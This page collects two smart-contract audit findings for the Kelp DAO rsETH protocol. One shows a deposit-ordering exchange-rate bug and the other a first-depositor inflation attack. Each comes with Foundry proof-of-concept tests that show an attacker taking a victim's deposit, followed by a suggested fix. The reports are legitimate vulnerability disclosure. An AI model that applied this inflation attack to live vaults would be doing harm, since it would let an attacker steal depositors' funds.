Kelp DAO | rsETH - adam-idarrha's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L151-L157 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52-L79

Vulnerability details

Vulnerability details:

Details:

the protocol allows actors to deposit a supported asset and get minted RSETH depending on an exchange rate calculated in the following function:

LRTOracle:getRSETHPrice

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

it is called by :

function _mintRsETH(address _asset, uint256 _amount) private returns (uint256 rsethAmountToMint) {
        (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);

        address rsethToken = lrtConfig.rsETH();
        // mint rseth for user
        IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint);
    }

and as we can see we transferFrom the user the asset and then get the exchange rate then we mint to the depositor.

exchangeRate = totalETHInPool / rsEthSupply we have the totalETHInPool = previously deposited assets + the deposited asset by the depositor.

but the rsETHSupply is the previously minted RSETH, so basically the new depositor gets the wrong exchange rate.

for example :

• there is 10 ether worth of stETH deposited. and there is 10 ether of RSETH minted.
• next depositor deposits 5 ether of stETH
• the exchange rate will be : 15 ether / 10 ether = 1.5, where it should have been 1
• so the next depoitor gets minted less 3.333 ether sETH

Impact:

this vulnerability affects the whole protocol because it undermines the main and only functionality given to users through depositing and getting rsETH, which should have been an accounting token for the amount deposited.

there is direct loss of funds/stealing ability for attacker(see poc)/undermines protocol trust -> deserves high severity

Proof of Concept:

here is a foundry POC's for the attack: get the environment from my inflation attack POC , and then just plug in the changes in specific file and run each test.

here is the scenario that the test showcases:

• the contract is just deployed, totalSupply(RSETH) = 0
• we assume that stETH is worth 1 ether , but can work with any value.

(1 ether = 1e18, 1 wei = 1)

• alice deposits 1 ether of stETH and gets 1 rsETH
• bob deposits 2 ether of stETH but gets minted 0.666rsETH
• bob owns approximatively 40% and alice 60%(because protocol acts basically like a vault or pool)
• alice owns 60%*3=1.8 and bob 1.2 which means that alice was credited 0.8 stETH that bob deposited

here are some values : you can get them by changing the multilication factor in the foundry test below

(amoutn deposited, ratio of second deposit) = (RSETH mited to alice, RSETh minted to bob)
(1e18, 0.25) = (1e18, 2e17)
(1e18, 0.5) = (1e18, 3,33e17)
(1e18, 2/3) = (1e18, 3,99e17)
(1e18, 1) = (1e18, 5e17)
(1e18, 1.5) = (1e18, 6e17)
(1e18, 2) = (1e18, 6,66e17)
(1e18, 3) = (1e18, 7,5e17)
(1e18, 10) = (1e18, 9,09e17)
(1e18, 100) = (1e18, 9,90e17)

here is a test that showcases the specific case described above.

LRTDepositPoolDepositAsset:test_secondDepositorGetsLess

    function test_secondDepositorGetsLess() external{//@audit-info POC second depositor gets less
        uint amountDeposited = 1 ether;

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), amountDeposited);

        //alice minted 10e18 stETH
        expectEmit();
        emit AssetDeposit(address(stETH), amountDeposited, 1 ether);
        lrtDepositPool.depositAsset(address(stETH), amountDeposited);
        vm.stopPrank();

        vm.startPrank(bob);
        stETH.approve(address(lrtDepositPool), amountDeposited * 2);

        lrtDepositPool.depositAsset(address(stETH), amountDeposited * 2);
        vm.stopPrank();

        //check that alice got more than bob , even if bob deposited more
        assertGt(rseth.balanceOf(address(alice)), rseth.balanceOf(address(bob)), "alice not minted more than bob");
        console.logUint(rseth.balanceOf(address(alice)));
        console.logUint(rseth.balanceOf(address(bob)));
    }

this test showcases the vulnerability better, it generalizes the previous test by having alice deposit 1 stETH and bob depositing a multiplication of it(ex: 2, 0.5...) , and it checks that he doesn't get the same multiplication of what she got of RSETH.(ex: alice 1stETH -> 1 RSETH / BOB 2 steth -> 2 RSETH)

LRTDepositPoolDepositAsset:test_secondDepositorGetsLessFuzzRatio

function test_secondDepositorGetsLessFuzzRatio(uint multiplication) external{/

        multiplication = bound(multiplication, 2, 1e4);
        require(multiplication >= 2 && multiplication <= 1e4);

        uint amountDeposited = 1 ether;

        uint256 stETHDepositLimit = lrtConfig.depositLimitByAsset(address(stETH));
        vm.assume(amountDeposited * multiplication <= stETHDepositLimit);

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), amountDeposited);

        //alice minted 10e18 stETH
        expectEmit();
        emit AssetDeposit(address(stETH), amountDeposited, 1 ether);
        lrtDepositPool.depositAsset(address(stETH), amountDeposited);
        vm.stopPrank();

        vm.startPrank(bob);
        stETH.approve(address(lrtDepositPool), amountDeposited * multiplication);

        lrtDepositPool.depositAsset(address(stETH), amountDeposited * multiplication);
        vm.stopPrank();

        //check that bob doesn't get what he is owed, he should get multiplication*RSETH of Alice bcs he deposited multiplication*amount deposited by alice
        assertFalse(rseth.balanceOf(address(alice)) * multiplication == rseth.balanceOf(address(bob)), "alice not minted more than bob");
    }

this is another test to add to your test suite.

LRTDepositPoolDepositAsset:test_secondDepositorGetsLessFuzzMult

function test_secondDepositorGetsLessFuzzMult(uint multiplication) external{

        multiplication = bound(multiplication, 2, 1e4);
        require(multiplication >= 2 && multiplication <= 1e4);

        uint amountDeposited = 1 ether;

        uint256 stETHDepositLimit = lrtConfig.depositLimitByAsset(address(stETH));
        vm.assume(amountDeposited * multiplication <= stETHDepositLimit);

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), amountDeposited);

        //alice minted 10e18 stETH
        expectEmit();
        emit AssetDeposit(address(stETH), amountDeposited, 1 ether);
        lrtDepositPool.depositAsset(address(stETH), amountDeposited);
        vm.stopPrank();

        vm.startPrank(bob);
        stETH.approve(address(lrtDepositPool), amountDeposited * multiplication);

        lrtDepositPool.depositAsset(address(stETH), amountDeposited * multiplication);
        vm.stopPrank();

        //check that alice got more than bob , even if bob deposited more
        assertGt(rseth.balanceOf(address(alice)), rseth.balanceOf(address(bob)), "alice not minted more than bob");
    }

LRTDepositPoolDepositAsset:test_secondDepositorGetsLessFuzz

function test_secondDepositorGetsLessFuzz(uint amountDeposited) external{
   
        //limit amountDeposited to 1e36 wich is 1e18 steth, nobody has that many steth
        amountDeposited = bound(amountDeposited, 100, 1e19);
        require(amountDeposited >= 100 && amountDeposited <= 1e19);

        //any value other than 0 and limit
        uint256 stETHDepositLimit = lrtConfig.depositLimitByAsset(address(stETH));
        vm.assume(amountDeposited > 0 && amountDeposited * 1001 <= stETHDepositLimit);

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), amountDeposited);

        //alice minted 10e18 stETH
        expectEmit();
        emit AssetDeposit(address(stETH), amountDeposited, amountDeposited);
        lrtDepositPool.depositAsset(address(stETH), amountDeposited);
        vm.stopPrank();

        vm.startPrank(bob);
        stETH.approve(address(lrtDepositPool), amountDeposited * 1000);

        lrtDepositPool.depositAsset(address(stETH), amountDeposited * 1000);
        vm.stopPrank();

        //check that alice got more than bob , even if bob deposited more
        assertGt(rseth.balanceOf(address(alice)), rseth.balanceOf(address(bob)), "alice not minted more than bob");
    }

Tools Used:

vscode, foundry

Recommended Mitigation Steps:

the exchange rate should be calculated on the amount of assets deposited before the next depositor, so you should do transferFrom after calculating the rsETH amount to mint, depositAsset should be like this:

function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

        // interactions
        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }
        
        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52-L79

Vulnerability details

Vulnerability details:

Details:

the protocol allows depositing liquid staking token (stETH, cbETH, rETH) into LRTDepositPool and gives RSETH in return as a receipt token, according to an exchange rate defined as the sum of eth in the system (in LRTDepositPool, NodeDelegator, eigenlayerStrategies) divided by the RSETH supply. So in essence it acts as a vault, but without the protections necessary to protect against inflation attacks.

the function depositAsset is responsible for depositing supported assets in LRTDepositPool and mints you RSETH in exchange:

function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

        // interactions
        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

the amount of rsETH yu get minted is according to the exchange rate that is calculated by the function LRTOracle:getRSETHPrice :

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

which is vulnerable to inflation attack , where an attacker mints a really small amount of RSETH, then inflates it's exchange rate so that next deposits are rounded down even to zero in some cases.

see POC below

Impact:

with the vulnerability an attacker can steal/grief any newly deployed LRTDepositPool, with no risk, and because the deposit funcionality is a primordial part of the protocol this vulnerability deserves a high.

assets are at direct risk of being stolen by an attacker => high severity

Proof of Concept:

here is a foundry POC for the attack: just plug in the changes in specific file and run each test.

here is the scenario that the test showcases:

• the contract is just deployed, totalSupply(RSETH) = 0
• we assume that stETH is worth 1 ether , but can work with any value.

(1 ether = 1e18, 1 wei = 1)

• alice wants to deposit 1 ether of stETH .
• attacker frontruns -> deposits 1 wei worth of a supported asset
• gets minted 1 RSETH.
• donate 1 ether or more to either lrtDepositPool or nodeDelegator (to inflate exchange rate).
• now the exchangeRate of RSETH is 1 -> 1 ether + 1 wei
• alice gets minted 0 RSETH , and attacker's RSETH is worth 2 ether + 1 wei.

in BaseTest.t.sol

+address public attacker = makeAddr("attacker");
+asset.mint(attacker, oneThousand);

in LRTDepositPoolTest.t.sol

+import { LRTOracle } from "src/LRTOracle.sol";
+import { LRTConfigTest, ILRTConfig, LRTConstants, UtilLib, MockToken } from "./LRTConfigTest.t.sol";
+import "forge-std/console.sol";

LRTDepositPoolTest:setUp

 contract LRTDepositPoolTest is BaseTest, RSETHTest {
     LRTDepositPool public lrtDepositPool;
+    LRTOracle public lrtOracle;
+    ProxyAdmin proxyAdmin;
+    MockToken public rsETHMock;
+    LRTOracleMock oracleMock;
+
+    event AssetDeposit(address asset, uint256 depositAmount, uint256 rsethMintAmount);
 
     function setUp() public virtual override(RSETHTest, BaseTest) {
         super.setUp();
 
         // deploy LRTDepositPool
-        ProxyAdmin proxyAdmin = new ProxyAdmin();
+        proxyAdmin = new ProxyAdmin();
+

LRTDepositPoolDepositAsset:setUp

 contract LRTDepositPoolDepositAsset is LRTDepositPoolTest {
     address public rETHAddress;
 
     function setUp() public override {
         super.setUp();
 
+        rsETHMock = new MockToken("rsETH", "rsETH");
+        oracleMock = new LRTOracleMock();
+        //lrtConfig.initialize(admin, address(stETH), address(rETH), address(cbETH), address(rsETHMock));
+
+
         // initialize LRTDepositPool
         lrtDepositPool.initialize(address(lrtConfig));
 
+
         rETHAddress = address(rETH);
 
+        //deploy lrt oracle
+        LRTOracle lrtOracleImpl = new LRTOracle();
+        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
+            address(lrtOracleImpl),
+            address(proxyAdmin),
+            ""
+        );
+
+        lrtOracle = LRTOracle(address(lrtOracleProxy));
+
+        lrtOracle.initialize(address(lrtConfig));
+
         // add manager role within LRTConfig
         vm.startPrank(admin);
         lrtConfig.grantRole(LRTConstants.MANAGER, manager);
+        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
+
+        vm.stopPrank();
+
+        vm.startPrank(manager);
+
+        lrtOracle.updatePriceOracleFor(address(stETH), address(oracleMock));
+        lrtOracle.updatePriceOracleFor(address(rETH), address(oracleMock));
+        lrtOracle.updatePriceOracleFor(address(cbETH), address(oracleMock));
+
         vm.stopPrank();
     }

this is a test that shows that an attacker can pull the attack for whatever amount the user deposits.

LRTDepositPoolDepositAsset:test_inflationAttackPOCFuzz

    function test_inflationAttackPOCFuzz(uint amountDeposited) external {
        //any value other than 0 and limit
        uint256 stETHDepositLimit = lrtConfig.depositLimitByAsset(address(stETH));
        vm.assume(amountDeposited > 0 && amountDeposited <= stETHDepositLimit);

        //attacker frontruns alice deposit with depositing 1 wei 
        vm.startPrank(attacker);
        stETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(address(stETH), 1);
        assertEq(rseth.balanceOf(address(attacker)), 1, "attacker not minted 1");

        //donation by attacker to lrtDepositPool to inflate the exchangeRate of RSETH, can donate to nodeDelegator also
        stETH.transfer(address(lrtDepositPool), amountDeposited);
        vm.stopPrank();

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), amountDeposited);

        //alice minted 0 after depositing !=0 value
        expectEmit();
        emit AssetDeposit(address(stETH), amountDeposited, 0);
        lrtDepositPool.depositAsset(address(stETH), amountDeposited);
        vm.stopPrank();

        //check that alice has gotten 0 rsETH
        assertEq(rseth.balanceOf(address(alice)), 0, "alice not minted 0");

        //Prove that attacker owns all of rseth in system, meaning he owns alice's deposit and his donation
        assertEq(rseth.balanceOf(address(attacker)), rseth.totalSupply(), "attacker doesn't own 100% of rseth");

    }

this is a separate test that showcases the attack for a specific value

LRTDepositPoolDepositAsset:test_inflationAttackPOCNoFuzz

function test_inflationAttackPOCNoFuzz() external { 
        
        uint amountDeposited = 1 ether;

        //attacker frontruns alice deposit with depositing 1 wei 
        vm.startPrank(attacker);
        stETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(address(stETH), 1);
        assertEq(rseth.balanceOf(address(attacker)), 1, "attacker not minted 1");

        //donation by attacker to lrtDepositPool to inflate the exchangeRate of RSETH, can donate to nodeDelegator also
        stETH.transfer(address(lrtDepositPool), amountDeposited);
        vm.stopPrank();

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), amountDeposited);

        //alice minted 0 after depositing !=0 value
        expectEmit();
        emit AssetDeposit(address(stETH), amountDeposited, 0);
        lrtDepositPool.depositAsset(address(stETH), amountDeposited);
        vm.stopPrank();

        //check that alice has gotten 0 rsETH
        assertEq(rseth.balanceOf(address(alice)), 0, "alice not minted 0");
        console.logUint(rseth.balanceOf(address(alice)));
        
        //Prove that attacker owns all of rseth in system, meaning he owns alice's deposit and his donation
        assertEq(rseth.balanceOf(address(attacker)), rseth.totalSupply(), "attacker doesn't own 100% of rseth");

    }

Tools Used:

vscode, foundry

Recommended Mitigation Steps:

implement a minimum deposit so that the attacker cannot manipulate the exchange rate to be so high as to enable this attack.

Assessed type

ERC4626